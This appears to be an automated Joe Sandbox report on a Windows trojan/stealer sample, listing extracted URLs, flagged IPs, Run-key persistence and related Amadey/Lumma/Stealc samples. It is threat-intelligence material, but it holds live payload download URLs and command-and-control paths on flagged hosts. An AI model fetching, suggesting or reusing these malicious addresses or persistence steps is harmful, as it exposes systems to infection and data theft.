https://cdn.ecosia.org/assets/images/ico/favicon.ico	chrome.exe, 00000003.00000003.1539204510.000024D800BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1537543320.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1583577103.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521605122.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1626835728.0000000001A41000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2271035523.0000000005C78000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2286752317.0000000005C73000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2286923813.0000000005C6B000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2271654657.0000000005C18000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2392941577.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2408864168.00000000054A3000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2408864168.000000000549B000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2393227878.0000000005468000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2564805123.00000000054D8000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2565646789.0000000005478000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2582686214.00000000054BD000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://navygenerayk.store/=	8407c5d8e2.exe, 0000001F.00000002.2530549611.0000000000C79000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2525581931.0000000000C79000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2526157395.0000000000C79000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ocsp.rootca1.amazontrust.com0:	8407c5d8e2.exe, 0000001B.00000003.2308028433.0000000005C43000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2426270683.000000000555D000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2599108647.00000000054A7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/161903006	chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.	file.exe, 00000000.00000002.2048030528.0000000023F50000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2309499310.000000000123A000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2433921371.0000000000C86000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2615948450.0000000000E33000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1626835728.0000000001A41000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2271035523.0000000005C78000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2271654657.0000000005C18000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2392941577.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2393227878.0000000005468000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2564805123.00000000054D8000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2565646789.0000000005478000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-1.corp.google.com/	chrome.exe, 00000003.00000003.1508304999.000024D8004A4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-5.corp.google.com/	chrome.exe, 00000003.00000003.1508304999.000024D8004A4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/chrome/blank.html	msedge.exe, 00000008.00000003.1660379221.00002E5C00268000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660471245.00002E5C0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660319400.00002E5C00264000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3078	chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7553	chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660526532.00002E5C00388000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5375	chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/v1/issuetoken	msedge.exe, 00000008.00000003.1660379221.00002E5C00268000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660471245.00002E5C0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660319400.00002E5C00264000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/s/notifications/manifest/cr_install.htmllt	chrome.exe, 00000003.00000003.1542541565.000024D80129C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5371	chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660526532.00002E5C00388000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icoion	chrome.exe, 00000003.00000003.1539204510.000024D800BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1537543320.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1583577103.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521605122.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4722	chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/reauth/v1beta/users/	msedge.exe, 00000008.00000003.1660379221.00002E5C00268000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660471245.00002E5C0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660319400.00002E5C00264000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7556	chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660526532.00002E5C00388000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chromewebstore.google.com/	msedge.exe, 00000008.00000002.1671869534.00002E5C0016C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000002.2048030528.0000000023F50000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2309499310.000000000123A000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2433921371.0000000000C86000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2615948450.0000000000E33000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exelencoded	skotes.exe, 00000019.00000002.2697095566.00000000012F6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://drive-preprod.corp.google.com/	chrome.exe, 00000003.00000003.1508304999.000024D8004A4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe	8407c5d8e2.exe, 0000001B.00000002.2559358287.00000000011C2000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000002.2696149096.0000000000E8F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/#	chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000003.00000003.1542195277.000024D80180C000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
52.178.17.3	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
142.250.185.142	play.google.com	United States	15169	GOOGLEUS	false
23.218.232.185	unknown	United States	24835	RAYA-ASEG	false
23.221.22.206	unknown	United States	20940	AKAMAI-ASN1EU	false
23.38.189.114	unknown	United States	16625	AKAMAI-ASUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
18.244.18.38	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
20.75.60.91	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.186.100	www.google.com	United States	15169	GOOGLEUS	false
108.156.211.71	unknown	United States	16509	AMAZON-02US	false
172.217.23.110	plus.l.google.com	United States	15169	GOOGLEUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
23.198.7.172	unknown	United States	20940	AKAMAI-ASN1EU	false
52.123.242.159	svc.ms-acdc-teams.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.217.16.129	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
188.114.96.3	navygenerayk.store	European Union	13335	CLOUDFLARENETUS	false
23.198.7.178	unknown	United States	20940	AKAMAI-ASN1EU	false

Private

IP
192.168.2.8
127.0.0.1
192.168.2.23
192.168.2.13
192.168.2.14

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1552249
Start date and time:	2024-11-08 15:19:37 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	39
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@86/318@51/30
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.163, 172.217.18.110, 74.125.133.84, 34.104.35.123, 142.250.185.67, 142.250.185.106, 216.58.212.170, 216.58.206.74, 216.58.212.138, 216.58.206.42, 172.217.18.10, 142.250.184.202, 142.250.186.106, 142.250.74.202, 172.217.23.106, 142.250.186.138, 172.217.16.138, 142.250.184.234, 142.250.185.74, 172.217.16.202, 142.250.186.74, 2.22.50.144, 192.229.221.95, 204.79.197.203, 204.79.197.239, 13.107.21.239, 13.107.6.158, 2.19.126.152, 2.19.126.145, 20.56.187.20, 2.23.209.141, 2.23.209.149, 2.23.209.189, 2.23.209.130, 2.23.209.150, 2.23.209.154, 2.23.209.144, 2.23.209.133, 2.23.209.140, 2.18.64.218, 2.18.64.203, 2.23.209.177, 2.23.209.173, 2.23.209.176, 2.23.209.186, 2.23.209.179, 2.23.209.185, 2.23.209.183, 2.23.209.132, 2.23.209.187, 23.38.98.79, 23.38.98.87, 23.38.98.92, 23.38.98.76, 23.38.98.82, 23.38.98.93, 23.38.98.80, 23.38.98.94, 23.38.98.100, 2.23.209.160, 2.23.209.166, 13.74.129.1, 204.79.197.237, 13.107.21.237, 2.19.126.157, 2.19.126.151, 199.232.210.172,
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, prod-agic-cu-2.centralus.cloudapp.azure.com, clientservices.googleapis.com, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, www.gstatic.com, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, wildcardtlu-ssl.azureedge.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, mira.config.skype.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, www.bing.com.edgekey.net, th.
Execution Graph export aborted for target file.exe, PID 7596 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
09:21:05	API Interceptor	377x Sleep call for process: file.exe modified
09:21:42	API Interceptor	992x Sleep call for process: skotes.exe modified
09:21:56	API Interceptor	45x Sleep call for process: 8407c5d8e2.exe modified
15:21:38	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
15:21:59	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 8407c5d8e2.exe C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe
15:22:07	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ef7349e1dc.exe C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe
15:22:15	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 8407c5d8e2.exe C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe
15:22:24	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run ef7349e1dc.exe C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe
15:22:32	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run ae09953578.exe C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe
15:22:45	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ae09953578.exe C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
52.178.17.3	https://dzentec-my.sharepoint.com/:u:/g/personal/i_lahmer_entec-dz_com/EdYp5IxQ-uxJivnPAqSzv40BZiCX7sphz7Kj8JDyRBKqpQ?e=wqutC4	Get hash	malicious	Unknown	Browse
	https://mafanikiosacco-my.sharepoint.com/:f:/p/info/EgPH1s54501Ki8NU-gutZLABOsAyZ-dhIPJaM6vWEXJqUQ?e=PJpX12	Get hash	malicious	HTMLPhisher	Browse
	https://1drv.ms/o/c/14c2aef4e2cd9199/EjbyQwyIjfhEmiCpubnJGm8BRFF0427oUHOxk88uqC5T0Q?e=0lgh0x	Get hash	malicious	Unknown	Browse
	All-in-one Calculation Tool.xlsm	Get hash	malicious	Unknown	Browse
	San Xavier District of the Tohono O#U2019odham Nation.pdf	Get hash	malicious	Unknown	Browse
	web_search_tool (1).docm	Get hash	malicious	Unknown	Browse
	CMhm5cLiET.exe	Get hash	malicious	Amadey, Glupteba, Mystic Stealer, RedLine, SmokeLoader	Browse
	https://dufurk12or-my.sharepoint.com/:b:/g/personal/josie_turner_dufur_k12_or_us/Ea5ljZ4gWWVNt8EP5MaN2BUBQdHWFKYxDsV7YsSVU51GVA?e=j8A8qZ	Get hash	malicious	Unknown	Browse
	https://wheelysafeuk-my.sharepoint.com/:b:/g/personal/jeanetteg_wheely-safe_co_uk/EfXWKKRebtJMhibiESK8OUMBe8ZqhikSqaUgSQ9vnd5luA?e=dU2PX2	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse
	http://1drv.ms/o/s!AgluiJP-6XEyggUQrNeTUe9ObSoW	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
svc.ms-acdc-teams.office.com	SecuriteInfo.com.Trojan.GenericKD.74442994.24259.8937.exe	Get hash	malicious	Unknown	Browse	52.123.243.92
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	52.123.243.94
	Seeking Assistance for Legal Assistance in a Medical Matter.msg	Get hash	malicious	Unknown	Browse	52.123.243.81
	https://1drv.ms/b/c/7bab8803aa446446/EVRHiu8efYZAkD-YFD5xQmIBzT5hMnGkyiNpwrnOj-mH_g	Get hash	malicious	HTMLPhisher	Browse	52.123.224.72
	file.exe	Get hash	malicious	Unknown	Browse	52.123.243.83
	Inspection Notice.msg	Get hash	malicious	HTMLPhisher	Browse	52.123.243.74
	file.exe	Get hash	malicious	Unknown	Browse	52.123.243.199
	Order_ 039924.docx.doc	Get hash	malicious	Unknown	Browse	52.123.243.78
	z42ordemdecomprapdf.exe	Get hash	malicious	FormBook	Browse	52.123.243.200
	Firstontario Caller VM_00_94 Seconds REF#e764f827cc206df3733c6c719eb86bc36b5f54d1 7_9_2024	Get hash	malicious	Unknown	Browse	52.123.243.81
chrome.cloudflare-dns.com	RAINBOW_ tlumaczenie dokumentow dostawy do CEBI PL_ 11.08.24.exe	Get hash	malicious	GuLoader, Remcos	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	cOOhDuNWt7.lnk	Get hash	malicious	Ducktail	Browse	162.159.61.3
	SPENDINGONDIGITALMARKETING_DIGITALMARKETINGBUDGET lnk.lnk	Get hash	malicious	Ducktail	Browse	172.64.41.3
	https://www.capcut.com/download-guidance?download_url=https%3A%2F%2Flf16-capcut.faceulv.com%2Fobj%2Fcapcutpc-packages-us%2Finstaller%2Fcapcut_capcutpc_0_1.2.6_installer.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	https://www.capcut.com/download-guidance?download_url=https%3A%2F%2Flf16-capcut.faceulv.com%2Fobj%2Fcapcutpc-packages-us%2Finstaller%2Fcapcut_capcutpc_0_1.2.6_installer.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	ZGMW2wgPzY.lnk	Get hash	malicious	Ducktail	Browse	172.64.41.3
	4YgQ2xN41W.lnk	Get hash	malicious	Ducktail	Browse	162.159.61.3
	6GMmnAcpMs.lnk	Get hash	malicious	Ducktail	Browse	162.159.61.3
	Mediatool-media-planning-guide lnk.lnk	Get hash	malicious	Ducktail	Browse	162.159.61.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	RAINBOW_ tlumaczenie dokumentow dostawy do CEBI PL_ 11.08.24.exe	Get hash	malicious	GuLoader, Remcos	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	vMRlWtVCEN.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://thaykinhgiasoc.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU9USlBZakE9JnVpZD1VU0VSMTcxMDIwMjRVMDAxMDE3NDA=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.253.45
	#U25b6#Ufe0fVoice_mail_02309_wav0015.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	1nzNNooNMS.msi	Get hash	malicious	AteraAgent	Browse	40.119.152.241
	Le55bnMCON.msi	Get hash	malicious	AteraAgent	Browse	40.119.152.241
	z8yxMFhhZI.msi	Get hash	malicious	AteraAgent	Browse	40.119.152.241
	xX1k6Ghe8s.elf	Get hash	malicious	Mirai	Browse	20.83.189.171
	kTbv9ZA2x0.msi	Get hash	malicious	AteraAgent	Browse	40.119.152.241
	IwmwOaVHnd.msi	Get hash	malicious	AteraAgent	Browse	40.119.152.241
	gaYiWz75kv.msi	Get hash	malicious	AteraAgent	Browse	20.60.197.1
	Play-Audio_Vmail_Ach Statement Credi....html	Get hash	malicious	HtmlDropper	Browse	13.107.246.45
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://thaykinhgiasoc.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU9USlBZakE9JnVpZD1VU0VSMTcxMDIwMjRVMDAxMDE3NDA=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.253.45
	#U25b6#Ufe0fVoice_mail_02309_wav0015.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	1nzNNooNMS.msi	Get hash	malicious	AteraAgent	Browse	40.119.152.241
	Le55bnMCON.msi	Get hash	malicious	AteraAgent	Browse	40.119.152.241
	z8yxMFhhZI.msi	Get hash	malicious	AteraAgent	Browse	40.119.152.241
	xX1k6Ghe8s.elf	Get hash	malicious	Mirai	Browse	20.83.189.171
	kTbv9ZA2x0.msi	Get hash	malicious	AteraAgent	Browse	40.119.152.241
	IwmwOaVHnd.msi	Get hash	malicious	AteraAgent	Browse	40.119.152.241
	gaYiWz75kv.msi	Get hash	malicious	AteraAgent	Browse	20.60.197.1
	Play-Audio_Vmail_Ach Statement Credi....html	Get hash	malicious	HtmlDropper	Browse	13.107.246.45
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	https://assets-usa.mkt.dynamics.com/67a616d1-119c-ef11-8a66-00224806e117/digitalassets/standaloneforms/08a80dd6-5e9c-ef11-8a6a-6045bd04c6a1	Get hash	malicious	Unknown	Browse	23.206.229.226
	http://www.fairplay.co.za	Get hash	malicious	Unknown	Browse	23.206.229.226
	http://rbrjflqgjzts.top/login	Get hash	malicious	Unknown	Browse	23.206.229.226
	http://email.lndg.page/ls/click?upn=u001.IvLseMgsVhVvzUpwRiP-2FwDY1kjINp61fUuRWFtJrOlsR2xK9oB-2FfYMEmxXZADqvZYVpAGo4tqJabIsrfh5cAoQ-3D-3D_lhJ_Z037rZRAjNnoLxuCNZalsWeL-2FuGvpRjfvafXSKPUadVelwBKNiVQ67EtFqVq-2F-2FAK6i6xZqeXhJzRqi8XomI4esuapVjLTPvAHRrbtPzwbLfCy6VfNl51z1Di6TsxVm1cmzGeW7c3kO83UI9V3jIK3z-2FiJ7Z0ybvX2y30ogTTVIG-2FaXj0FIrZj1LwlbGT-2F8kx30gGqpiXFcOgz0v5MV-2BZFQ-3D-3D	Get hash	malicious	Unknown	Browse	23.206.229.226
	https://0733511335zini.couchdrop.io/inbox/download/3c7b4136-cd98-4597-a602-37f3216aea17	Get hash	malicious	HTMLPhisher	Browse	23.206.229.226
	https://krtra.com/t/vOPRDbTNH5dT	Get hash	malicious	HTMLPhisher	Browse	23.206.229.226
